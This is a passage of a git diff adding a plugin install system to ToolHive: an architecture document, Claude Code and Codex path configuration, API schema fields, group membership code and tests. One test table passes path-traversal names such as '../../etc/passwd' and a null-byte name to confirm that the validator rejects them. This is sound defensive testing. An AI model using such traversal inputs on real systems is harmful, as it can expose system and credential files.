pkg/plugins/adapters/codex_test.go create mode 100644 pkg/plugins/adapters/helpers.go create mode 100644 pkg/plugins/mocks/mock_adapter.go create mode 100644 pkg/plugins/pluginsvc/info.go create mode 100644 pkg/plugins/pluginsvc/info_test.go create mode 100644 pkg/plugins/pluginsvc/install.go create mode 100644 pkg/plugins/pluginsvc/install_extraction.go create mode 100644 pkg/plugins/pluginsvc/install_git.go create mode 100644 pkg/plugins/pluginsvc/install_git_test.go create mode 100644 pkg/plugins/pluginsvc/install_oci.go create mode 100644 pkg/plugins/pluginsvc/install_oci_test.go create mode 100644 pkg/plugins/pluginsvc/install_test.go create mode 100644 pkg/plugins/pluginsvc/list.go create mode 100644 pkg/plugins/pluginsvc/scope.go create mode 100644 pkg/plugins/pluginsvc/testservice_test.go create mode 100644 pkg/plugins/pluginsvc/uninstall.go create mode 100644 pkg/plugins/pluginsvc/uninstall_test.go diff --git a/docs/arch/14-plugins-system.md b/docs/arch/14-plugins-system.md new file mode 100644 index 0000000000..2583fcf9ef --- /dev/null +++ b/docs/arch/14-plugins-system.md @@ -0,0 +1,272 @@ +# Plugins System + +## Why This Exists + +Plugins are the Claude Plugin manifest format — an OCI artifact containing a +`.claude-plugin/plugin.json` manifest plus component directories (`commands/`, +`agents/`, `skills/`, `hooks/`). A plugin bundles multiple component types into +a single installable unit, where a skill is a single component. + +The plugins system mirrors `pkg/skills` structurally — the scoping model +(user vs. project), install-status lifecycle, storage shape, and OCI artifact +layout are identical — but diverges at the materialization seam: a skill +installs into a single directory, while a plugin must be materialized into +each target client's directory layout (Claude Code's plugins dir + settings.json +marketplace, Codex's `.agents/plugins` marketplace), and different clients load +different component subsets. + +## Architecture + +``` +┌─────────────────────────────────────────────────────────────┐ +│ pluginsvc.service │ +│ Install (dispatch: git → OCI → registry name) │ +│ Uninstall · List · Info │ +│ per-(scope,name,projectRoot) pluginLock │ +└───────────────┬─────────────────────────────────────────────┘ + │ MaterializationAdapter interface + │ (Materialize / Dematerialize / SupportedComponents / + │ ScopeSupport) + ┌────────┴────────┐ + ▼ ▼ +┌─────────────┐ ┌──────────────┐ +│ ClaudeCode │ │ Codex │ +│ Adapter │ │ Adapter │ +│ FS + JSON │ │ FS + JSON │ +│ ~/.claude/ │ │ ~/.agents/ │ +│ plugins/ │ │ plugins/ │ +│ +settings │ │ marketplace │ +│ .json │ │ .json │ +└─────────────┘ └──────────────┘ +``` + +### Phasing + +- **Phase 2** (shipped): build/validate/push/list-builds/delete-build/get-content + + SQLite storage + migration 002. +- **Phase 3** (this doc): install/list/info/uninstall + MaterializationAdapter + (Claude Code + Codex) + groups integration. +- **Phase 4** (planned, #5528): REST API + `thv plugin` CLI + app wiring. + +## Core Concepts + +### Plugin Manifest + +`.claude-plugin/plugin.json` — kebab-case name, version, description, author, +license, keywords. Parsed by `plugins.ParsePluginManifest` (`pkg/plugins/parser.go`). + +### Component Inventory + +A plugin declares component directories. The OCI config carries a +`ComponentInventory` (map of component-type → count): `commands`, `agents`, +`skills`, `hooks`, `mcpServers`, `lspServers`. Not all clients load all types. + +### Installation Scopes + +Identical to skills: `user` (user-wide) or `project` (project-local, must be a +git repository). Storage keys on `(scope, project_root)`. + +### Multi-Client Materialization + +Unlike skills (single directory per client), plugins materialize differently +per client: + +| Client | Layout | Config mutation | Components loaded | Scope degradation | +|---|---|---|---|---| +| Claude Code | `~/.claude/plugins//` | `~/.claude/settings.json`: `enabledPlugins["@toolhive"]` + `extraKnownMarketplaces.toolhive` (`directory` source pointing at the plugins root); shared `~/.claude/plugins/.claude-plugin/marketplace.json` (top-level `name`/`owner`/`plugins[]`, each `source: "./"`) | commands, agents, skills, hooks | none | +| Codex | `~/.agents/plugins/toolhive//` (user) or `/.agents/plugins/toolhive//` (project) | shared `.agents/plugins/marketplace.json` (top-level `name` + `plugins[]`, each with a `local` `source.path` = `./toolhive/` relative to the marketplace root, plus `policy`/`category`). No `config.toml` mutation — see "Codex load step" below. | skills, mcpServers, hooks | none | + +The `MaterializationAdapter` interface (`pkg/plugins/adapter.go`) owns this: +each adapter extracts the plugin tree and (optionally) mutates client config, +reporting which component types it deliberately dropped. + +## Plugin Lifecycle + +### 1. Discovery + +OCI reference (`ghcr.io/org/plugin:v1`), git reference +(`git://host/owner/repo[@ref][#subdir]`), or plain name (registry lookup — +seam declared, wired in a later phase). + +### 2. Building + +`pluginsvc.Build` packages a local plugin directory into an OCI artifact via +`ociplugins.PluginPackager`. The layer is a single tar.gz of the whole plugin +tree. + +### 3. Installation + +`pluginsvc.Install` dispatches by reference type: + +1. **Git** (`gitresolver.IsGitReference`): clone via `pkg/git.Client`, read + `.claude-plugin/plugin.json`, collect all files, build an in-memory tar.gz, + then materialize. +2. **OCI**: pull via registry client, extract config + layer. **Name/repo + consistency check**: the declared plugin name must match the OCI reference's + last path component (422 on mismatch — prevents accidental clobbering; not + publisher authenticity). +3. **Plain name**: local store → registry lookup → 404 with install hint. + +After resolving the artifact, `installWithExtraction` resolves target clients, +acquires the per-plugin lock, calls each client's `MaterializationAdapter`, +builds the `InstalledPlugin` record, persists it (Create/Update with +upgrade-digest/same-digest-new-clients branches), and registers the plugin in +its group. Failure rolls back already-materialized clients. + +### 4. Uninstallation + +`pluginsvc.Uninstall` calls `Dematerialize` per client (best-effort, +`errors.Join`), deletes the store record, and removes the plugin from all +groups. Idempotent. + +### 5. Info + +`pluginsvc.Info` returns metadata + the install record + two computed fields: +- `UnmaterializedComponents` — per client, component types the plugin declares + that the adapter does NOT load (static diff of `Components` vs + `SupportedComponents`). +- `ProjectScopeDegradedClients` — clients for which a project-scope install + degraded (recomputed from scope + `DegradesOnProjectScope`). + +## Git-Based Plugin Resolution + +The git resolver reuses `pkg/skills/gitresolver`'s skill-agnostic helpers +(`ParseGitReference`, `IsGitReference`, `ResolveAuth`, `WriteFiles`, +`CloneConfigForRef`, `ClientForURL`) but does NOT call `Resolver.Resolve` — +that method is skill-specific (reads `SKILL.md`). Instead, +`pluginsvc.installFromGit` clones directly, reads the plugin manifest, and +collects the whole subtree (a plugin is multi-component, not a single file). + +A **name/repo consistency check** (mirroring the OCI check) enforces that the +declared manifest name matches the name implied by the git reference — the +subdir's last segment when `#subdir` is present, else the repo's last segment +(422 on mismatch). When collecting files, the executable bit committed in the +repo is **preserved** (rather than forcing 0644) so hook scripts keep `+x`. + +## Storage + +`pkg/storage/sqlite/plugin_store.go` — `installed_plugins` + +`plugin_dependencies` tables (migration 002). Reuses the `entries` table's +`UNIQUE(entry_type, name)` with `entry_type = "plugin"`. The +`PluginStore` interface has Create/Get/List/Update/Delete + dependency methods. + +## Group Integration + +`groups.Group` carries a `Plugins []string` field (mirrors `Skills`). +`groups.AddPluginToGroup` / `groups.RemovePluginFromAllGroups` are line-for-line +ports of the skills analogues. + +## Security Model + +### Archive Extraction Safety + +Both adapters delegate to `skills.Installer.Extract`, which enforces: +decompression bomb limits, per-file size/count caps, symlink/hardlink rejection, +pre-extraction `ValidatePathNoSymlinks`, post-extraction `CheckFilesystem`, and +prefix-containment on every written file. + +### Path Construction + +`ClientManager.GetPluginPath` validates the plugin name (kebab-case, no `..`) +before `filepath.Join` — neither `clientType` nor `pluginName` can escape the +home/project dir. + +### Marketplace registration (Codex) + +The Codex adapter follows Codex's marketplace model. Codex discovers +marketplaces at a fixed set of paths, including the personal +`~/.agents/plugins/marketplace.json` and the per-repo +`$REPO_ROOT/.agents/plugins/marketplace.json`. The adapter extracts each +plugin's source under that marketplace root, namespaced by the marketplace name +(`/toolhive/`), and maintains the `marketplace.json` so Codex can +discover it. The manifest has a top-level `name` and a `plugins` array; each +entry has a `local` `source.path` that is **relative to the marketplace root** +and starts with `./` (`./toolhive/`), plus the required `policy` and +`category` fields. Writes use `fileutils.WithFileLock` + `AtomicWriteFile`, and +the plugin name is validated (no traversal) by `GetPluginPath` before use. +`Dematerialize` removes the plugin's source directory and its `plugins` array +entry, deleting the manifest when no plugins remain. + +#### Codex load step (manual, by design) + +Unlike Claude Code, ToolHive does **not** fully automate Codex plugin loading, +and this is deliberate: + +- **No `config.toml` mutation.** Codex's `[plugins."@"]` + `enabled` key is only an on/off toggle for an *already-installed* plugin; + setting `enabled = true` for a plugin that was never installed does not load + it, and writing to the user's shared `config.toml` has blast radius for no + benefit. The adapter leaves `config.toml` untouched. +- **No shelling out.** Loading a Codex plugin requires an explicit install + (`codex plugin install @toolhive`), which is a CLI action. ToolHive + never invokes client binaries to mutate their state (every other client + integration is file-based config editing), so the adapter does not shell out + to `codex`. + +Instead, ToolHive lays down the plugin source and a discoverable +`marketplace.json`, and the user completes loading with a one-time: + +```bash +# The personal marketplace at ~/.agents/plugins is auto-discovered; if needed: +codex plugin marketplace add ~/.agents/plugins +codex plugin install @toolhive +``` + +Automating this (e.g. a dedicated integration that drives the Codex install flow +without shelling out) is tracked as a follow-up. + +### settings.json Mutation (Claude Code) + +The Claude Code adapter mutates `~/.claude/settings.json` (or the project +`/.claude/settings.json`) under `fileutils.WithFileLock`. It adds +`enabledPlugins["@toolhive"]` and an `extraKnownMarketplaces.toolhive` +entry whose `source` is a `directory` source pointing at the **plugins root** +(the directory containing all installed plugins), not the per-plugin directory. +A single shared `marketplace.json` lives at `/.claude-plugin/marketplace.json` +with the required top-level `name`/`owner` fields and a `plugins` array; each +plugin is one entry with a `source: "./"` path resolved against the +marketplace root. `upsert`/`remove` keep that array in sync as plugins are +installed and uninstalled, so a non-LIFO uninstall cannot invalidate the shared +marketplace path. `Dematerialize` removes the plugin from the `plugins` array +(deleting the manifest and its `.claude-plugin` dir when empty), reverts its own +`enabledPlugins` additions, and drops `extraKnownMarketplaces.toolhive` only when +no remaining `@toolhive` plugins are enabled. + +### Name/Repo Consistency + +The OCI install path rejects artifacts whose declared name doesn't match the +reference's repository last segment. This is a consistency check, not publisher +authenticity — `pluginConfig.Name` is self-declared. Signature verification is a +separate concern. + +### Git Clone Bounds + +The git client wraps both worktree and storer in `LimitedFs` (100MB total, +10k files), bounding the in-memory clone. + +## Dependency on toolhive-core + +The OCI plugin layer (`ociplugins.Store`, `PluginPackager`, `RegistryClient`, +`PluginConfig`, `ComponentInventory`) comes from +`github.com/stacklok/toolhive-core/oci/plugins`, mirroring how skills uses +`toolhive-core/oci/skills`. + +## Key Files + +| File | Purpose | +|---|---| +| `pkg/plugins/adapter.go` | `MaterializationAdapter` interface | +| `pkg/plugins/types.go` | `InstalledPlugin`, `PluginMetadata`, `ComponentInventory` | +| `pkg/plugins/options.go` | `InstallOptions`/`InstallResult`/`PluginInfo` etc. | +| `pkg/plugins/service.go` | `PluginService` interface | +| `pkg/plugins/pluginsvc/service.go` | concrete `service` + `With*` options + `pluginLock` | +| `pkg/plugins/pluginsvc/install.go` | Install dispatch | +| `pkg/plugins/pluginsvc/install_oci.go` | OCI pull + name/repo check | +| `pkg/plugins/pluginsvc/install_git.go` | git clone + manifest read | +| `pkg/plugins/pluginsvc/install_extraction.go` | shared materialize + persist core | +| `pkg/plugins/pluginsvc/list.go` / `info.go` / `uninstall.go` | lifecycle methods | +| `pkg/plugins/adapters/claudecode.go` | Claude Code adapter (FS + settings.json mutation) | +| `pkg/plugins/adapters/codex.go` | Codex adapter (FS + TOML) | +| `pkg/storage/sqlite/plugin_store.go` | SQLite store | +| `pkg/groups/plugins.go` | group membership | +| `pkg/client/plugins.go` | client metadata + path resolution | diff --git a/docs/arch/README.md b/docs/arch/README.md index 3cad4cb9ea..e590eee6b2 100644 --- a/docs/arch/README.md +++ b/docs/arch/README.md @@ -113,6 +113,13 @@ Welcome to the ToolHive architecture documentation. This directory contains comp - Compatibility guarantees and semver-aligned deprecation policy - Guidance for downstream embedders on pinning and upgrading +14. **[Plugins System](14-plugins-system.md)** + - Plugin manifest format (`.claude-plugin/plugin.json`) and OCI artifact layout + - Install dispatch (git → OCI → registry name) and the per-plugin lock + - `MaterializationAdapter` seam: Claude Code (pure FS) vs Codex (FS + TOML) + - Component inventory and per-client dropped-component warnings + - Name/repo consistency check, extraction safety, TOML mutation under file lock + ### Existing Documentation For middleware architecture, see: **[docs/middleware.md](../middleware.md)** @@ -160,6 +167,7 @@ graph TB subgraph "Agent Skills" Skills[12: Skills System
Build, publish, install] + Plugins[14: Plugins System
MaterializationAdapter] end %% Navigation paths @@ -184,8 +192,10 @@ graph TB Groups --> Workloads Groups --> vMCP Groups --> Skills + Groups --> Plugins Registry --> Skills + Registry --> Plugins Workloads --> Operator vMCP --> Operator diff --git a/docs/server/docs.go b/docs/server/docs.go index 3b682456e4..5895881675 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -949,6 +949,10 @@ const docTemplate = `{ "description": "Registered indicates whether the client is registered in the ToolHive configuration", "type": "boolean" }, + "supports_plugins": { + "description": "SupportsPlugins indicates whether ToolHive can install plugins for this client", + "type": "boolean" + }, "supports_skills": { "description": "SupportsSkills indicates whether ToolHive can install skills for this client", "type": "boolean" @@ -1112,6 +1116,13 @@ const docTemplate = `{ "name": { "type": "string" }, + "plugins": { + "items": { + "type": "string" + }, + "type": "array", + "uniqueItems": false + }, "registered_clients": { "items": { "type": "string" diff --git a/docs/server/swagger.json b/docs/server/swagger.json index 9e4024e693..07e9d5089f 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -942,6 +942,10 @@ "description": "Registered indicates whether the client is registered in the ToolHive configuration", "type": "boolean" }, + "supports_plugins": { + "description": "SupportsPlugins indicates whether ToolHive can install plugins for this client", + "type": "boolean" + }, "supports_skills": { "description": "SupportsSkills indicates whether ToolHive can install skills for this client", "type": "boolean" @@ -1105,6 +1109,13 @@ "name": { "type": "string" }, + "plugins": { + "items": { + "type": "string" + }, + "type": "array", + "uniqueItems": false + }, "registered_clients": { "items": { "type": "string" diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index b0c70cfa4d..c12579cae9 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -1007,6 +1007,10 @@ components: description: Registered indicates whether the client is registered in the ToolHive configuration type: boolean + supports_plugins: + description: SupportsPlugins indicates whether ToolHive can install plugins + for this client + type: boolean supports_skills: description: SupportsSkills indicates whether ToolHive can install skills for this client @@ -1159,6 +1163,11 @@ components: properties: name: type: string + plugins: + items: + type: string + type: array + uniqueItems: false registered_clients: items: type: string diff --git a/pkg/client/config.go b/pkg/client/config.go index b68b34fff4..cf40ef1f03 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -237,6 +237,14 @@ type clientAppConfig struct { // (e.g., XDG ~/.config/ on Linux/macOS). // If nil or missing an entry for the current OS, no prefix is added. SkillsPlatformPrefix map[Platform][]string + // Plugin-specific configuration + SupportsPlugins bool // Whether this client supports plugins + PluginsGlobalPath []string // Path segments for global plugins dir (from home dir) + PluginsProjectPath []string // Path segments for project-local plugins dir (from project root) + // PluginsPlatformPrefix maps Platform values to path segments inserted between + // home dir and PluginsGlobalPath. Same semantics as SkillsPlatformPrefix. + // If nil or missing an entry for the current OS, no prefix is added. + PluginsPlatformPrefix map[Platform][]string // LLM gateway configuration ───────────────────────────────────────────── // LLMGatewayMode is "direct" (token-helper) or "proxy" (static key via // localhost reverse proxy), or "" when the tool has no LLM gateway support. @@ -506,9 +514,12 @@ var supportedClientIntegrations = []clientAppConfig{ types.TransportTypeSSE: defaultURLFieldName, types.TransportTypeStreamableHTTP: defaultURLFieldName, }, - SupportsSkills: true, - SkillsGlobalPath: []string{".claude", skillsDirName}, - SkillsProjectPath: []string{".claude", skillsDirName}, + SupportsSkills: true, + SkillsGlobalPath: []string{".claude", skillsDirName}, + SkillsProjectPath: []string{".claude", skillsDirName}, + SupportsPlugins: true, + PluginsGlobalPath: []string{".claude", "plugins"}, + PluginsProjectPath: []string{".claude", "plugins"}, // LLM gateway: patches ~/.claude/settings.json (different from the MCP .claude.json) LLMGatewayMode: "direct", LLMBinaryName: "claude", @@ -981,6 +992,14 @@ var supportedClientIntegrations = []clientAppConfig{ SupportsSkills: true, SkillsGlobalPath: []string{".agents", skillsDirName}, SkillsProjectPath: []string{".agents", skillsDirName}, + SupportsPlugins: true, + // Codex discovers marketplaces at ~/.agents/plugins/marketplace.json + // (personal) and $REPO_ROOT/.agents/plugins/marketplace.json (project). + // ToolHive lays each plugin's source under that marketplace root, + // namespaced by the "toolhive" marketplace name, so the manifest can + // reference it with a relative "./toolhive/" source. + PluginsGlobalPath: []string{".agents", "plugins", "toolhive"}, + PluginsProjectPath: []string{".agents", "plugins", "toolhive"}, }, { ClientType: KimiCli, diff --git a/pkg/client/discovery.go b/pkg/client/discovery.go index 5dc2cfe2fa..e4e6d1f0cc 100644 --- a/pkg/client/discovery.go +++ b/pkg/client/discovery.go @@ -26,6 +26,14 @@ type ClientManager struct { lookPath func(string) (string, error) } +// HomeDir returns the home directory this ClientManager is rooted at. Exported +// so plugin adapters can resolve user-scoped config-file paths (e.g. Claude +// Code's ~/.claude/settings.json) under the manager's home — which, for tests, +// is a temp dir injected via NewTestClientManagerWithHome. +func (cm *ClientManager) HomeDir() string { + return cm.homeDir +} + // NewClientManager creates a new ClientManager with default dependencies func NewClientManager() (*ClientManager, error) { home, err := os.UserHomeDir() @@ -79,6 +87,8 @@ type ClientAppStatus struct { // SupportsSkills indicates whether ToolHive can install skills for this client SupportsSkills bool `json:"supports_skills"` + // SupportsPlugins indicates whether ToolHive can install plugins for this client + SupportsPlugins bool `json:"supports_plugins"` } // IsClientInstalled reports whether the given client appears to be installed on @@ -130,10 +140,11 @@ func (cm *ClientManager) GetClientStatus(ctx context.Context) ([]ClientAppStatus continue } status := ClientAppStatus{ - ClientType: cfg.ClientType, - Installed: cm.IsClientInstalled(cfg.ClientType), - Registered: registeredClients[string(cfg.ClientType)], - SupportsSkills: cfg.SupportsSkills, + ClientType: cfg.ClientType, + Installed: cm.IsClientInstalled(cfg.ClientType), + Registered: registeredClients[string(cfg.ClientType)], + SupportsSkills: cfg.SupportsSkills, + SupportsPlugins: cfg.SupportsPlugins, } statuses = append(statuses, status) } diff --git a/pkg/client/plugin_toml.go b/pkg/client/plugin_toml.go new file mode 100644 index 0000000000..258423fb50 --- /dev/null +++ b/pkg/client/plugin_toml.go @@ -0,0 +1,18 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +// ReadTOMLConfig reads and parses a TOML config file into a generic map. +// Exported wrapper around the unexported readTOMLConfig so the plugin adapters +// (which live in a separate package) can reuse the same parse path without +// duplicating code. +func ReadTOMLConfig(path string) (map[string]any, error) { + return readTOMLConfig(path) +} + +// WriteTOMLConfig marshals and writes the config map to a TOML file atomically. +// Exported wrapper around the unexported writeTOMLConfig. +func WriteTOMLConfig(path string, config map[string]any) error { + return writeTOMLConfig(path, config) +} diff --git a/pkg/client/plugins.go b/pkg/client/plugins.go new file mode 100644 index 0000000000..e86a211c40 --- /dev/null +++ b/pkg/client/plugins.go @@ -0,0 +1,116 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "fmt" + "path/filepath" + "runtime" + "sort" + + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +var ( + // ErrPluginsNotSupported is returned when a client does not support plugins. + ErrPluginsNotSupported = errors.New("client does not support plugins") + // ErrNoPluginPath is returned when a client has no plugin path for the requested scope. + ErrNoPluginPath = errors.New("client has no plugin path for the requested scope") +) + +// SupportsPlugins returns whether the given client supports plugins. +func (cm *ClientManager) SupportsPlugins(clientType ClientApp) bool { + cfg := cm.lookupClientAppConfig(clientType) + return cfg != nil && cfg.SupportsPlugins +} + +// ListPluginSupportingClients returns a sorted slice of all clients that support plugins. +func (cm *ClientManager) ListPluginSupportingClients() []ClientApp { + var clients []ClientApp + for _, cfg := range cm.clientIntegrations { + if cfg.SupportsPlugins { + clients = append(clients, cfg.ClientType) + } + } + sort.Slice(clients, func(i, j int) bool { + return clients[i] < clients[j] + }) + return clients +} + +// GetPluginPath resolves the filesystem path for a plugin installation. +// +// For [plugins.ScopeUser], it returns ~//. +// For [plugins.ScopeProject], it returns //. +// +// Returns an error if the client doesn't support plugins, the scope has no +// configured path, the project root is empty, or the plugin name would result +// in path traversal outside the plugins directory. +func (cm *ClientManager) GetPluginPath( + clientType ClientApp, pluginName string, scope plugins.Scope, projectRoot string, +) (string, error) { + if err := skills.ValidateSkillName(pluginName); err != nil { + return "", err + } + + cfg := cm.lookupClientAppConfig(clientType) + if cfg == nil { + return "", fmt.Errorf("%w: %s", ErrUnsupportedClientType, clientType) + } + if !cfg.SupportsPlugins { + return "", fmt.Errorf("%w: %s", ErrPluginsNotSupported, clientType) + } + + switch scope { + case plugins.ScopeUser: + return cm.buildPluginsGlobalPath(cfg, pluginName) + case plugins.ScopeProject: + return buildPluginsProjectPath(cfg, pluginName, projectRoot) + default: + return "", fmt.Errorf("%w: %q", ErrUnknownScope, scope) + } +} + +func (cm *ClientManager) buildPluginsGlobalPath(cfg *clientAppConfig, pluginName string) (string, error) { + if len(cfg.PluginsGlobalPath) == 0 { + return "", fmt.Errorf("%w: %s has no global plugin path", ErrNoPluginPath, cfg.ClientType) + } + + parts := []string{cm.homeDir} + if prefix, ok := cfg.PluginsPlatformPrefix[Platform(runtime.GOOS)]; ok { + parts = append(parts, prefix...) + } + parts = append(parts, cfg.PluginsGlobalPath...) + parts = append(parts, pluginName) + return filepath.Join(parts...), nil +} + +func buildPluginsProjectPath(cfg *clientAppConfig, pluginName string, projectRoot string) (string, error) { + if len(cfg.PluginsProjectPath) == 0 { + return "", fmt.Errorf("%w: %s has no project plugin path", ErrNoPluginPath, cfg.ClientType) + } + + if projectRoot == "" { + return "", ErrProjectRootRequired + } + + parts := []string{projectRoot} + parts = append(parts, cfg.PluginsProjectPath...) + parts = append(parts, pluginName) + return filepath.Join(parts...), nil +} + +// GetConfigPath returns the absolute path to clientType's settings file under +// the manager's home directory. Returns ErrUnsupportedClientType for unknown +// clients. Exported so plugin adapters can locate the Codex config.toml without +// reaching into ClientManager internals. +func (cm *ClientManager) GetConfigPath(clientType ClientApp) (string, error) { + cfg := cm.lookupClientAppConfig(clientType) + if cfg == nil { + return "", fmt.Errorf("%w: %s", ErrUnsupportedClientType, clientType) + } + return buildConfigFilePath(cfg.SettingsFile, cfg.RelPath, cfg.PlatformPrefix, []string{cm.homeDir}), nil +} diff --git a/pkg/client/plugins_test.go b/pkg/client/plugins_test.go new file mode 100644 index 0000000000..3a1e3c6fe0 --- /dev/null +++ b/pkg/client/plugins_test.go @@ -0,0 +1,194 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "path/filepath" + "runtime" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/plugins" +) + +// newPluginsTestManager builds a ClientManager with the production client +// integrations rooted at a fake home, so plugin-path resolution is exercised +// against the real ClaudeCode and Codex configs without touching the real HOME. +func newPluginsTestManager() *ClientManager { + return NewTestClientManagerWithHome(testHomeDir) +} + +func TestSupportsPlugins(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + assert.True(t, cm.SupportsPlugins(ClaudeCode)) + assert.True(t, cm.SupportsPlugins(Codex)) + // Zed does not support plugins. + assert.False(t, cm.SupportsPlugins(Zed)) + // Unknown client returns false. + assert.False(t, cm.SupportsPlugins(ClientApp("nonexistent"))) +} + +func TestListPluginSupportingClients(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + clients := cm.ListPluginSupportingClients() + // The production integrations currently enable plugins for ClaudeCode + // and Codex only. + require.ElementsMatch(t, []ClientApp{ClaudeCode, Codex}, clients) + + // Verify sorted order. + for i := 1; i < len(clients); i++ { + assert.True(t, clients[i-1] < clients[i], + "not sorted: %q comes after %q", clients[i], clients[i-1]) + } +} + +func TestGetPluginPath(t *testing.T) { + t.Parallel() + cm := newPluginsTestManager() + + // Platform prefix for the current OS (ClaudeCode uses the same path on + // all platforms, but build the expected path defensively). + ccGlobalWant := filepath.Join(append([]string{testHomeDir}, []string{".claude", "plugins", "my-plugin"}...)...) + codexGlobalWant := filepath.Join(testHomeDir, ".agents", "plugins", "toolhive", "my-plugin") + + tests := []struct { + name string + client ClientApp + pluginName string + scope plugins.Scope + projectRoot string + wantPath string + wantErr error // sentinel error to check with errors.Is + wantErrContain string // substring for non-sentinel errors + }{ + { + name: "ScopeUser ClaudeCode", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantPath: ccGlobalWant, + }, + { + name: "ScopeUser Codex", + client: Codex, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantPath: codexGlobalWant, + }, + { + name: "ScopeProject ClaudeCode with explicit root", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + projectRoot: "/tmp/myproject", + wantPath: filepath.Join("/tmp/myproject", ".claude", "plugins", "my-plugin"), + }, + { + name: "ScopeProject Codex with explicit root", + client: Codex, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + projectRoot: "/tmp/myproject", + wantPath: filepath.Join("/tmp/myproject", ".agents", "plugins", "toolhive", "my-plugin"), + }, + // Security-relevant: path traversal is rejected by the name validator. + { + name: "path traversal with slashes rejected", + client: ClaudeCode, + pluginName: "../../etc/passwd", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "path traversal with backslash rejected", + client: ClaudeCode, + pluginName: `foo\bar`, + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "null byte in name rejected", + client: ClaudeCode, + pluginName: "plug\x00in", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "uppercase name rejected", + client: ClaudeCode, + pluginName: "MyPlugin", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + { + name: "empty name rejected", + client: ClaudeCode, + pluginName: "", + scope: plugins.ScopeUser, + wantErrContain: "invalid", + }, + // Scope guards. + { + name: "ScopeProject requires projectRoot", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.ScopeProject, + wantErr: ErrProjectRootRequired, + }, + { + name: "client that does not support plugins", + client: Zed, + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantErr: ErrPluginsNotSupported, + }, + { + name: "unknown client", + client: ClientApp("nonexistent"), + pluginName: "my-plugin", + scope: plugins.ScopeUser, + wantErr: ErrUnsupportedClientType, + }, + { + name: "unknown scope", + client: ClaudeCode, + pluginName: "my-plugin", + scope: plugins.Scope("global"), + wantErr: ErrUnknownScope, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := cm.GetPluginPath(tt.client, tt.pluginName, tt.scope, tt.projectRoot) + if tt.wantErr != nil { + require.Error(t, err) + assert.True(t, errors.Is(err, tt.wantErr), + "expected error wrapping %v, got: %v", tt.wantErr, err) + return + } + if tt.wantErrContain != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErrContain) + return + } + require.NoError(t, err) + assert.Equal(t, tt.wantPath, got) + }) + } + + // Sanity: the platform-prefix assembly is covered on the current OS. + // (ClaudeCode has no prefix on any OS, so ccGlobalWant holds; this is a + // no-op assertion on most platforms, but guards against future config + // changes that add a prefix without updating the test.) + _ = runtime.GOOS +} diff --git a/pkg/client/test_support.go b/pkg/client/test_support.go index 30894dcde5..c3ef2df807 100644 --- a/pkg/client/test_support.go +++ b/pkg/client/test_support.go @@ -45,3 +45,16 @@ func LLMTestIntegrations(entries []LLMTestEntry) []clientAppConfig { } return cfgs } + +// NewTestClientManagerWithHome returns a ClientManager backed by the production +// client integrations (so plugin/skill/config metadata is fully populated) but +// rooted at homeDir instead of the real user home. Exported so adapter tests in +// other packages can resolve plugin paths and config-file paths under a temp +// directory without mutating process-wide HOME (which forbids t.Parallel). +func NewTestClientManagerWithHome(homeDir string) *ClientManager { + return &ClientManager{ + homeDir: homeDir, + clientIntegrations: supportedClientIntegrations, + lookPath: nil, + } +} diff --git a/pkg/groups/group.go b/pkg/groups/group.go index 86b9a5da03..8289789b49 100644 --- a/pkg/groups/group.go +++ b/pkg/groups/group.go @@ -19,6 +19,7 @@ type Group struct { Name string `json:"name"` RegisteredClients []string `json:"registered_clients"` Skills []string `json:"skills,omitempty"` + Plugins []string `json:"plugins,omitempty"` } // WriteJSON serializes the Group to JSON and writes it to the provided writer diff --git a/pkg/groups/plugins.go b/pkg/groups/plugins.go new file mode 100644 index 0000000000..0b655b801b --- /dev/null +++ b/pkg/groups/plugins.go @@ -0,0 +1,59 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package groups + +import ( + "context" + "fmt" + "slices" +) + +// AddPluginToGroup adds pluginName to the Plugins slice of the named group. +// Groups that do not exist return an error. Duplicate plugin names are skipped. +// Empty groupName is a no-op. +func AddPluginToGroup(ctx context.Context, mgr Manager, groupName string, pluginName string) error { + if groupName == "" { + return nil + } + group, err := mgr.Get(ctx, groupName) + if err != nil { + return fmt.Errorf("getting group %q: %w", groupName, err) + } + + if slices.Contains(group.Plugins, pluginName) { + return nil + } + + group.Plugins = append(group.Plugins, pluginName) + if err := mgr.Update(ctx, group); err != nil { + return fmt.Errorf("updating group %q: %w", groupName, err) + } + return nil +} + +// RemovePluginFromAllGroups removes pluginName from every group that references it. +// It is a no-op when the plugin is not found in any group. +func RemovePluginFromAllGroups(ctx context.Context, mgr Manager, pluginName string) error { + allGroups, err := mgr.List(ctx) + if err != nil { + return fmt.Errorf("listing groups: %w", err) + } + + for _, group := range allGroups { + modified := false + for i, p := range group.Plugins { + 